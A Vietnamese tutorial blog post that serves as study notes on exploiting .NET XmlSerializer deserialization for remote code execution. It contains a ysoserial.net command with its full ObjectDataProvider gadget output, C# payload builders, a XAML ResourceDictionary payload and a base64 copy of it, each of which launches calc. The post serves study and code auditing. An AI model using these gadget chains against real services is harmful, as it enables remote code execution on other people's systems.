+6

Lỗ hổng .NET deserialize 101 (P1)

Có thể các bạn cũng thắc mắc khi đọc cái tiêu đề này, bởi lẽ mình cũng đã viết kha khá bài nói về lỗ hổng này thông qua việc phân tích các mã CVE đã biết. Vậy tại sao mình lại viết thêm bài này. Lý do bởi vì mình nhận thấy rằng mình thực sự chưa hệ thống được lại toàn bộ các case liên quan đến .NET deserialize và hơn hết, bài này xem như là note của riêng mình để sau này không còn phải đi search lung tung nữa. Trong bài viết này, mình sẽ đi từng case liên quan đến các formarter như BinaryFormater, SoapFormater.. hay các serializer như XmlSerialzier, DatacontractSerializer... bao gồm điều kiện để có thể RCE trong từng case là gì và cả ví dụ nữa.

XmlSerializer

XmlSerializer là lớp serialize của riêng Microsoft, được sử dụng để chuyển đổi giữa các chuỗi và đối tượng xml. Namespace của nó là: System.Xml.Serialization.

Lưu ý , XmlSerializer chỉ có thể serialize và deserialize các thuộc tính và các trường công khai của đối tượng. Ngoài ra serializer này sử dụng các setter trong quá trình deserialize.

Ví dụ sử dụng XmlSerializer

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Serialization;

namespace XmlDeserialization
{
    [XmlRoot]
    public class Person
    {
        [XmlElement]
        public int Age { get; set; }
        [XmlElement]
        public string Name { get; set; }
        [XmlArray("Items")]
        public Order[] OrderedItems;
        [XmlAttribute]
        public string ClassName { get; set; }
    }

    public class Order
    {
        public int OrderID;
    }

    class Program
    {
        static void Main(string[] args)
        {
            Person p = new Person();
            p.Name = "jack";
            p.Age = 12;
            Order order = new Order();
            order.OrderID = 123;
            Order order1 = new Order();
            order.OrderID = 456;
            Order[] orders = new Order[] { order, order1 };
            p.OrderedItems = orders;
            p.ClassName = "classname";


            XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
            MemoryStream memoryStream = new MemoryStream();
            TextWriter writer = new StreamWriter(memoryStream);
            xmlSerializer.Serialize(writer, p);

            memoryStream.Position = 0;
            Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
            Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
            Console.WriteLine(p1.Name);
            Console.ReadKey();
        }
    }
}

Chạy đoạn code trên cho kết quả đầu ra như sau

<?xml version="1.0" encoding="utf-8"?>
<Person xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ClassName="classname">
  <Items>
    <Order>
      <OrderID>456</OrderID>
    </Order>
    <Order>
      <OrderID>0</OrderID>
    </Order>
  </Items>
  <Age>12</Age>
  <Name>jack</Name>
</Person>
jack

Trong quá trình serializer, type của đối tượng cần serialize sẽ được chuyển vào constructor của XmlSerializer. Có 1 số cách để lấy type của đối tượng.

XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType());	// 
XmlSerializer xmlSerializer2 = new XmlSerializer(Type.GetType("XmlDeserialization.Person"));

Điều kiện tấn công RCE thông qua XmlSerializer

Bắt buộc phải điều khiển được kiểu dữ liệu truyền vào constructor của XmlSerializer. Tức là các kiểu dữ liệu dẫn đến gadget phải được truyền vào thuộc tính XmlSerializer.mapping

Gadget tấn công

Gadget phổ biến nhất để tấn công xml deserialize là ObjectDataProvider. Gadget này có thể được tạo bởi công cụ ysoserrial .net

PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -g ObjectDataProvider -c calc -f xmlserializer
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
]

ObjectDataProvider

Về cơ bản khi sử dụng lớp này, ta có thể gọi đến bất kì method nào của bất kì lớp nào. Ví dụ chúng ta có thể gọi đến Process.Start với các tham số được truyền vào như dưới đây:

ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
o.ObjectInstance = new Process();
Console.ReadKey();

Chúng ta muốn xây dựng 1 payload xml deserialize với đoạn code trên thì có thể sử dụng đoạn code như bên dưới:

MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
o.ObjectInstance = new Process();
XmlSerializer xml = new XmlSerializer(typeof(ObjectDataProvider));
xml.Serialize(writer, o);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);

Tuy nhiên khi thực thi thì code sẽ báo lỗi System.InvalidOperationException: There was an error generating the XML document. ---> System.InvalidOperationException: The type System.Diagnostics.Process was not expected. Use the XmlInclude or SoapInclude attribute to specify types that are not known statically.

Nguyên nhân gây ra lỗi là gì?. Do chúng ta đã khai báo type của ObjectDataProvider cho XmlSerializer, tuy nhiên trong ObjectDataProvider lại gọi đến type Process. Type này chưa được khai báo với XmlSerializer nên dẫn đến lỗi kể trên. Điều này cũng chứng minh lại điều kiện để tấn công RCE thông qua XmlSerializer là phải control được type truyền vào constructor của XmlSerializer.

Để sửa lỗi trên chúng ta có thể sử dụng lớp ExpandedWrapper

using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Data;
using System.Xml.Serialization;
using System.Data.Services.Internal;

namespace XmlDeserialization
{
    [XmlRoot]
    public class Person
    {
        [XmlAttribute]
        public string ClassName { get; set; }
        public void Evil(string cmd)
        {
            Process process = new Process();
            process.StartInfo.FileName = "cmd.exe";
            process.StartInfo.Arguments = "/c " + cmd;
            process.Start();
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            MemoryStream memoryStream = new MemoryStream();
            TextWriter writer = new StreamWriter(memoryStream);
            ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            expandedWrapper.ProjectedProperty0.MethodName = "Evil";
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
            expandedWrapper.ProjectedProperty0.ObjectInstance = new Person();
            XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Person, ObjectDataProvider>));
            xml.Serialize(writer, expandedWrapper);
            string result = Encoding.UTF8.GetString(memoryStream.ToArray());
            Console.WriteLine(result);

            memoryStream.Position = 0;
            xml.Deserialize(memoryStream);

            Console.ReadKey();
        }
    }
}

Khi thực thi đoạn code trên calc sẽ được bật lên. Tuy nhiên hạn chế là phương thức Evil là do chúng ta tự viết, trong thực tế thì chúng ta phải đi tìm những điểm khác gọi đến lệnh thực thi Process, điều này dẫn đến chúng ta cần đi sâu hơn vào gadget do ysoserial tạo ra ở phía trên.

ResourceDictionary

ResourceDictionary dùng để phát triển wpf, vì là wpf nên nó phải sử dụng ngôn ngữ xaml. Trước tiên chúng ta hãy xem một payload sử dụng ResourceDictionary để thực thi các lệnh.

<ResourceDictionary 
                    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                    xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" 
                    xmlns:b="clr-namespace:System;assembly=mscorlib" 
                    xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

Giải thích xaml này:

  1. xmlns:c đề cập đến namespace System.Diagnostics và đặt tên là c

  2. d:Key="" tên rỗng. Trong cú pháp xaml, giá trị khóa Key phải có.

  3. ObjectType đại diện cho loại đối tượng

  4. d:Type tương đương với typeof()

  5. MethodName là một thuộc tính của ObjectDataProvider. Việc truyền vào Start tương đương với việc gọi phương thức Start.

  6. c:Process tương đương với System.Diagnostics.Process

Sau khi toàn bộ xaml được phân tích cú pháp, nó tương đương với việc tạo một đối tượng ObjectDataProvider, đối tượng này sẽ tự động gọi System.Diagnostics.Process.Start("cmd.exe","/c calc")

Do đây là ngôn ngữ xaml nên chúng ta sẽ sử dụng XamlReader.Parse() để phân tích cú pháp. Trong đó base64 là payload ResourceDictionary

using System;
using System.Text;
using System.Windows.Markup;

namespace XmlDeserialization
{
    class Program
    {
        static void Main(string[] args)
        {
            string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg==";
            byte[] vs = Convert.FromBase64String(p);
            string xml = Encoding.UTF8.GetString(vs);
            XmlDeserialize(xml);
            Console.ReadKey();
        }
        public static void XmlDeserialize(string o)
        {
            XamlReader.Parse(o);
        }
    }
}

Việc thực thi đoạn code trên tương đương với việc ObjectDataProvider -> Person.Evil(). Nếu thực hiện tấn công RCE thông qua XmlSerializer thì flow trông sẽ như thế này ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")

Tổng kết

Khi thực hiện audit source code và muốn tìm các lỗ hổng RCE thông qua XmlSerializer, chúng ta cần quan tâm xem ta có thể control được type truyền vào constructor của XmlSerializer hay không. Ngoài ra nếu ta có thể control được xml truyền vào XamlReader.Parse(xml), chúng ta vẫn hoàn toàn có thể RCE.

Tham khảo

https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.